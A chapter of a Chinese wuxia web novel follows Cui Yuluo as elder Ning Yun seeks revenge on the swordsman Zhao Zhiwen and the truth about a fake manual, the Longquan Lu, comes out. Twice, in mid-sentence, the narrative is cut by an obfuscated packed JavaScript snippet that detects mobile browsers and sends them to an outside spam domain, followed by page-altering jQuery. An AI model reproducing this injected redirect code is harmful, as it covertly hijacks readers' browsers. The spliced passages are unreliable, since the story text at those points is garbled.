赵之闻看了看她:“狭路相逢?你我二人有何怨仇,为何要在此一战?” “是,阁下杀人无数,自然不会记得仇家有哪些。” “仇?” 宁云冷冷地看着他。 赵之闻盯着她的眼睛,忽然想到一个人:“宁子盈,是你什么人?” “小儿学艺不精,惨死在你剑下,今日必要你血债血偿。” “血债血偿?” 崔羽落有些紧张地看着二人,却发现宁云的面容发生了一些变化。 她枯瘦的颈上渐渐显出几条狰狞的脉络,如同苍老的树枝,凸出在她的脖颈上。 刀锋缓缓抬起,忽有凉风刮过,掀起她碎裂的袖子。 崔羽落看到她的手臂,不由一怔。 她的手臂上筋脉凸起,蜿蜒如山脉。但它们并非静止,而是随气息有节律地浮动,无形有质的力量随之酝酿,在她干瘦的躯体内潜滋暗长。 崔羽落心道:糟糕,她怕是服用了什么药物。 赵之闻眼中晦暗不明:“你就这样想杀我?” “是。” 话音刚落,宁云已持刀向前,身形迅捷如鹰。 但下一瞬,她已经倏然静止,方才的杀机仿佛不曾有过。 赵之闻用二指捏住了她的刀锋。 “你儿子当初来找我的时候,你可知他说了什么?” 宁云拧转刀刃,以刀刃中部压向赵之闻手臂。 赵之闻忽然松了手。刀锋却蓦地换了方向,在空中划出一道角度锋锐的弧线,砧向赵之闻脖颈。 赵之闻却没有躲避,而是任那刀刃落向他颈侧。 刀锋瞬间静默。 宁云身躯僵硬,竟是已被点了穴道。 她问道:“说了什么?” 赵之闻后退了一步:“他说,他想要成为第一高手,但他知道,若要成第一,先要问过我的剑。” 崔羽落呼出一口气。 赵之闻继续说:“我当时问他,是点到为止,还是不死不休,他选了第二种。他说,点到为止只是过招,不死不休才是比试。判断两人孰强孰弱,并非只看剑术的高超或是内力的强悍,还有些东西比这些重要得多。” 宁云僵硬地说:“什么东西?” 赵之闻答道:“决心。” 宁云低低骂了句“蠢货”,随后骤然出手,刀锋直取赵之闻心口。 赵之闻的血与宁云的血同时落在地上。但赵之闻只是伤了皮肉,宁云则是吐出一口鲜血,踉跄了几步方才站稳。 她手中刀已被赵之闻徒手击飞,“叮”的一声落在地上。 赵之闻道:“既是挑战,便要知晓失败的代价。你强行提升内功,待这段时间一过,必然会经脉受损……又是何苦。” 这时却起了风声,崔羽落循声望去,看到一个青年男子落在不远处。 他皱眉看着宁云:“宁长老,这是怎么回事?” 宁云扭头看到来人,竟又吐出一口血:“我还没问你呢!向浊,清龙帮与凌霄会几十年素来无事,为何你新任了总舵主,便出了这些破事?段泊川那厮前些日子死了,和我清龙帮有何干系?” 向浊拱手行李,低声道:“伤害贵帮之人,确是我们不对。我这几日不在附近,竟不知那些人擅自动手,是我管教不当。” 宁云冷笑道:“管教不当?阁下新上任不久,果然是日理万机。” 赵之闻忽而插话道:“段泊川死了,你们这两群人怎的就打了起来?清龙帮与凌霄会之前不是很和睦么?” 宁云道:“这你得问他,段泊川那厮死掉了,是他自己亏心事做多遭了报应,怎么就成了我清龙帮害得他惨死了?” 向浊答道:“我们寻到他的时候,已经是离世几天了,然后我们查看了周围环境,发现了清龙帮的印记。” 宁云反问道:“印记?” 崔羽落见气氛有些沉闷,便小心地插话道:“一个印记也不能说明就是清龙帮的人动的手啊。杀了人还留下自己印记的,大多是在示威。不知周围还有没有其它特殊的东西?” 向浊道:“大哥的尸体上有刀伤,但——” 宁云打断了他:“别说这些屁话了,你不如直接说哪里有刀伤吧。” 向浊听到此话,有些不解,迟疑道:“身上有几处,但没有一处是致命的。” 宁云盯了他半晌后,语气十分嘲讽地说:“我是说,那个地方。”随后用眼神瞥了一眼向浊的某个部位。 崔羽落大为震惊,忍不住问道:“前辈,你——” 但“你怎么知道”这种问题,好像有些冒昧。 她颇为尴尬地住了嘴,却见宁云看向了她,问道:“你是想说,我怎么知道?” 崔羽落简直想掐死刚才管不住嘴的自己,找补道:“不是,我是想问,前辈你方才受了伤,这会儿身体可还好?” 话音刚落,崔羽落已经觉得更尴尬了。 果不其然,宁云冷笑一声:“关你屁事。” 向浊神情凝重:“宁长老,此话何意?” 宁云答道:“字面意思。怎么,你难道没看见?” 向浊没有回答。 宁云冷冷道:“他这两年在练功,练的功法是《龙泉录》,是也不是?” 向浊顿了顿,答道:“是。” 宁云道:“前些年江湖众人跟疯了一样抢夺这东西,好巧不巧,我也见过一次。它的第一页上写了八个字。” 崔羽落隐隐猜到了是哪八个字。 向浊沉默不语。 赵之闻却插话道:“欲练此功,必先自宫?” 宁云笑了一声:“是。我看段泊川那厮是练功走火入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480668|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔了,连这种事情都能做出来。赵之闻,你说是这样吗?” 向浊皱眉道:“这与赵前辈有什么关系?” 宁云道:“《龙泉录》早年失踪,直到几年前出现在了他手上,所以对这功法,他大概很清楚。” 几人的目光转向赵之闻,却见他不慌不忙地从怀中取出一物。 是一本破旧的书。 随着他手上动作,几人看清了书上的几个字。 ——龙泉录。 赵之闻问道:“你们是说这个吗?” 向浊和宁云不可思议地盯着他手上的东西。 崔羽落问道:“前辈,莫非此书这些年来,一直都在你手上?” 赵之闻叹了口气:“我几年前就已经不再过问江湖事了,竟不知……这功法被传成了那样。” 宁云忽然哈哈大笑:“真是愚蠢啊。所以说,练这功法,根本不需要自宫?” 赵之闻翻开一页,展示给众人:“是的。” 崔羽落问道:“几位前辈,那本假的秘籍,又是怎么引起众人争夺的呢?” 赵之闻道:“恩怨情仇的,几句话讲不清楚。总不过是有人想变强,有人想寻仇,有人脑子有毛病而已。” 向浊缓缓道:“我们寻找大哥的时候,不仅看到了印记,还听到了些传言。” 宁云道:“我们清龙帮的人杀了段泊川的传言?” 向浊道:“确实如此,但我认为此事有蹊跷,因此便想找宁长老询问,不料在路上有些耽搁,才叫于应鸿带着一些人伤了贵帮的弟子。此事是我之过,来日必带着于应鸿上门赔罪。” 宁云冷哼了一声,不答话。 崔羽落问道:“不知前辈在路上是被何事耽搁了?” 向浊答道:“在路上遇到一男一女,那女子看上去像是被强行带走的,我去问的时候,那男子却只是说他的妻子脾气不太好。” 崔羽落想起了张束和白渟,便追问道:“然后呢?” 答话的却是宁云:“我也见过,后来发现是那群修仙的人,我便再没过问了。修仙之人和我江湖之人素来泾渭分明,修仙之人的破事当然要修仙之人解决。” 崔羽落问道:“前辈,你们是在何处遇到的这事?” 宁云看了一眼她:“多管闲事的小毛丫头。你若是闲得慌,可以往西南走走。” 赵之闻道:“二位,可否听我一言。” 向浊答道:“前辈您说。” “前些日子,我曾在段泊川濒死之时见过他一面。” 宁云道:“既然如此,为何不早说?” 赵之闻有些无奈地笑道:“先前没机会插话啊。他确实是走火入魔死的,但之所以走火入魔,是因为和人动了手。” 宁云道:“和人动手?寻常人怎么能逼得他走火入魔?” 崔羽落看着向浊,问道:“前辈,先前的传言,你可知是何人散播出去的?” 向浊目光沉了沉。不待他回答,赵之闻忽然开口。 “他是要来问我的剑,因此,为了能击败我,在见我之前就强行运功以在短期内提升功力。” 宁云盯着他道:“你现在倒是坦诚。” 赵之闻笑笑:“我一直都很坦诚。在路上,段泊川强行运功,又遇到了仇家,便动了手。然后嘛,毕竟那秘籍是假的,他又强运功力,这样一来便走火入魔,心脉承受不住那凶悍力道,人就不行了。” 宁云忽而又吐出一口血。 崔羽落离她近,上前两步扶住了她,却发现她的身躯失了力,整个人倚靠在了崔羽落身上。 崔羽落想起赵之闻所说的话,又想起先前宁云强行运功以击杀赵之闻,心道一句糟糕,便从自己抵在宁云后心的那只手运起灵力。 其他两人只道她扶着宁云,而不知她暗中以灵力替宁云疗伤。 片刻后,宁云睁开眼,有些疲惫地笑了笑,从崔羽落手中挣开,向外一步。 崔羽落道了句“前辈”,见宁云的目光绕了一圈,又落在了自己身上。 宁云注视着她,忽然笑了。 崔羽落被她看得头皮发麻,正要问为何这样看她,宁云忽然伸手握住了她的手。 一股浑厚内力自那只手传入体内,崔羽落大惊之下,见眼前人目光柔和,缓缓开口。 “一切皆因赵之闻而起,如今我时日无多,就请姑娘念及你我同路之情,替我,将此仇了结了吧。” 19. 旧恨 崔羽落反手轻扣住宁云的手腕。 “前辈……” 向浊和赵之闻俱转向二人。 崔羽落看着宁云:“前辈几十年功力,晚辈何德何能。” 宁云笑了笑,道:“百年修得同船渡,你在客栈中救我一次,有何不敢?” 崔羽落顿了顿,神色凝重道:“在下本是一介流浪客,只想与山水日月为伴,平淡度过此生,不曾有什么称霸江湖的雄心壮志。先前之事原是我莽撞,却不料误打误撞,得见诸位武林名宿风采。” 她面容平静,内心却暗暗吐槽:这装模作样的话可真不好说。 酝酿了一下言辞,她继续道:“诸位前辈的故事,在下虽不是江湖中人,但也有所了解,一直钦佩不已。今日有幸在此相遇,也算是圆了在下的心愿。至于其它,在下实在是……” “实在”了半天,她编不出了。 真是书到用时方恨少。 其他几人只道她言辞真切,纷纷点了点头。 赵之闻看向宁云:“既然想找我报仇,何不留着性命以后再来?” 宁云愣了愣。 赵之闻微微笑道:“你虽已强行运功,但若是及时寻人救治,还是可以好好活许多年的。这些年里,你自可练功磨刀,琢磨取我性命之法。” 宁云并不回答,只是沉默地注视着他。 赵之闻看了她半晌,忽然动了动嘴角,眼中却无甚笑意。 几人沉默了片刻,向浊似是有话要说,宁云忽然哈哈大笑。 她苍老的面容被笑容扯得沟壑纵横,凌乱的银发于夜色下颤动,在月光映照下宛如沾了灰的陈雪。 笑了许久,她喑哑道:“赵之闻,你别在那装模作样了,那《龙泉录》和你没关系,傻子才信。” 赵之闻看着她道:“你只是自欺欺人,不愿相信罢了。” “不愿相信什么?难不成是不愿相信几年前那些人那么蠢,为了一个假秘籍争来斗去?” 赵之闻目光闪烁一瞬,随后平和落于宁云脸上:“段泊川死前,和我说了几句话,你要听一听么?” 崔羽落心道:怎么这些不知死活的挑战者赴死时都有话和他说呢?这赵之闻与其说是深不可测的高手,不如说是江湖人的真心话收集簿。 向浊眸光一亮,显然是想听,但看到赵之闻自始至终对着宁云,便讪讪将滚到嘴边的话咽了下去。 宁云冷笑一声:“不想。抢假秘籍、挥刀自宫、走火入魔,如此神志不清的蠢货,留下的话纵使蠢得惊天动地,也只会吸引那些和他一样蠢的人。” 向浊表情一僵,低声道:“宁长老,死者为大。” 宁云扫他一眼,冷哼一声,转向赵之闻:“如今我有一事想问问你。” “何事?” “那假《龙泉录》先前引得那么多人赴死,如今看来不过一场闹剧。”宁云顿了顿,“我想看看真的《龙泉录》。” 向浊怔然道:“长老……” 宁云笑了笑:“看一眼而已,我对那东西没什么兴趣。” 赵之闻不甚在意地将书册扔给宁云,宁云将它拿在手中,缓缓翻动,书页随着她手中动作脆生生地作响。 她闭了闭眼,而后嘲讽地笑笑:“就这么一个东西,让那么多人为之丧命。” 崔羽落站在一旁,忽然想起先前赵之闻说过的话。 ——“总不过是有人想变强,有人想寻仇,有人脑子有毛病而已。” 赵之闻接过宁云扔回的《龙泉录》。下一瞬,变故陡生。 一块不显眼的东西倏然击中书册,陈旧干枯的书页受不住力道,霎时碎为齑粉。那些粉末随着方才的力道向赵之闻扑去,与此同时,宁云消失在原地。 她以身为剑,以掌为刃,利箭般袭向赵之闻。 赵之闻轻轻抬手,那些裹挟着无穷杀机的粉屑转而飞向宁云。 宁云毫无反应,仍然不顾一切地要将赵之闻置于死地。 在千钧一发之际,崔羽落果断掠向二人,以身为盾,将那些暗器般的粉末尽数挡下。 向浊惊呼一声“姑娘”,便见三人止了下来。崔羽落立于二人间,一手扣宁云肩,一手接赵之闻掌。 那些粉末扑在她后背,她似乎毫无感觉。 “两位前辈莫要冲动,事情还未说清,何必急着动手呢?” 宁云被她按着,难以移动,脸上阴恻恻地一笑,音色沙哑:“未说清?新仇旧恨我已尽数知晓,今日我和他非得有一个人死在这!” 崔羽落微微垂眸,和她对视。 “前辈,”她声音平缓轻柔,目光却坚定冷静,“我知你爱憎分明有仇必报,但……命是自己的,人既死,纵使有人再为他拼死报仇,也不能再活过来了。” 她话音似有所指,宁云默然笑了笑,没有说话。 赵之闻听得此话,神情微微一动,而后道:“向舵主。” 向浊应道:“前辈。” “先前我在如家客栈附近见到你凌霄会的人,如今情况已平息,你不妨去看看是哪些人对清龙帮下此狠手。” 向浊一愣,知这是要让他暂避,便应了一声,轻身向远处掠去。 崔羽落看向他离去的方向,心中忽然想起某个人。 ——他先前似受了伤,不知现在如何了。 出神时,赵之闻忽然出手,凌空一点,宁云便觉浑身僵硬,怒道:“赵之闻!” 赵之闻道:“你不想听,我偏要让你听。” 说罢,他盘膝坐下。崔羽落在他对面扶着宁云坐了下来。 赵之闻道:“段泊川死前对我说,他一直想取我性命,但终究无法如愿。” 崔羽落有些困惑,赵之闻看到她的表情,笑了笑道:“他一直以来都想变强,为此无所不用其极,甚至连《龙泉录》那样的功法都练了。” 顿了片刻,他补充道:“我说的是江湖上流传的那个假的。” 宁云冷笑一声道:“段泊川自从血洗了遮阳山庄,就已经疯癫得厉害了。” 崔羽落一头雾水:“遮阳山庄?” 宁云道:“他先前为了拿到遮阳山庄的剑谱,不惜入赘,成了当时遮阳山庄大小姐夏侯锦的赘婿。后来眼见自己这赘婿被山庄的人瞧不起,拿不到剑谱,就丧心病狂地把所有人都杀了,一只鸡都没有留下。” 赵之闻道:“我听说在那之后,他加入了凌霄会。他原本因遮阳山庄一事被众侠士追杀,但加入凌霄会后,他参与剿灭了当时的魔教,就鲜少有人提那事了。” 宁云从鼻孔里哼了一声:“这江湖每天都有人丧命,那些侠士天天忙得要死,多见几次冤冤相报的烂事,自然就忘记了段泊川。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488797|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵之闻看了看她:“段泊川死前说,他这辈子是杀不了我了,但在那之后定会有人来取我性命。” 宁云眯了眯眼:“这是自然,这些年来想杀你的人还少吗?真是祸害遗千年。” 赵之闻忽然正色道:“宁长老,你当真想要我死?即使舍了性命,也要杀我?” 宁云答道:“自然。” 赵之闻伸手解开了宁云的穴道,而后微微躬身:“既然如此,不知在下能否向长老问一剑。” 宁云缓缓起身:“问剑?我用了这么多年的刀,何来‘剑’之一说?” 赵之闻从腰间解下一物,而后用双手托着它。 崔羽落和宁云看到那东西,不约而同地一愣。 崔羽落心想:传闻中可以藏于腰间的软剑,今日居然亲见了。 宁云神情晦涩,只盯着那把剑,沉默不语。 赵之闻道:“这把剑是段泊川先前所用,宁长老大概已经认出。” 宁云干巴巴地说:“那又如何?” 赵之闻伸长手臂,那剑离二人又近了几寸。 “段泊川死前和我说,想要我死的人很多,但如他一般义无反顾,九死无悔的人却不多。” “他说,若是遇到下一个这样的人,就把这把剑递到那个人手中。” “不知在下是否有幸,能一睹——” 宁云抬眼盯着他。 “——宁长老的、照雪剑呢?” 崔羽落深吸一口气,小心地问道:“前辈,这照雪剑又是何方神圣?” 赵之闻的目光从宁云僵硬的脸上移开,带着笑意看着崔羽落,解释道:“这照雪剑原本是流云山庄的武功,但随着二十几年前流云山庄被灭,就不曾有人见过了。直到十几年前,凌霄会新任总舵段泊川在剿灭魔教之战中成名,大家才知照雪剑还未失传。” 崔羽落看了看宁云:“那……” 赵之闻似是知晓她的疑惑,便道:“段泊川死前还告诉了我一件事,那就是清龙帮的宁长老,原是流云山庄弟子。也就是说,一向厌恶他的宁长老,其实是他的师妹。” 宁云的面容缓了缓,而后瞥了一眼赵之闻,道:“是。那又如何?当年流云山庄被屠,他自己跑了,其他人全部惨死。我好不容易保住性命,养好伤醒过来,便见他已经人模人样地与那遮阳山庄的夏侯小姐成了婚,装模作样地给武林众人端茶倒酒,真是风光无限、春风得意啊!” 她忽而伸手拔出赵之闻手中剑,道:“你既要问我的剑,那便废话少说,快些动手吧。” 赵之闻向前几步。 宁云蓦然出剑,剑光如雪,身形如风。赵之闻则以双拳应对。 崔羽落看得眼花缭乱。 几十招过后,她忽然听见一个突兀的声响。定睛一看,却见那两人已经停手。 宁云手中剑竟已断为两截。 她看着手中的半截剑,低笑两声:“真是不中用。” 但下一瞬,崔羽落发现她脸色骤变。 “前辈……” 宁云从剑刃断开处挑出了一张纸。那张纸被人对折几次,又被宁云缓缓打开,它十分破旧,仿佛稍微用力便可化为齑粉。 她捏着那张纸,静默良久。 那张纸的右上角,是两个工整秀气的字。 ——“阿云”。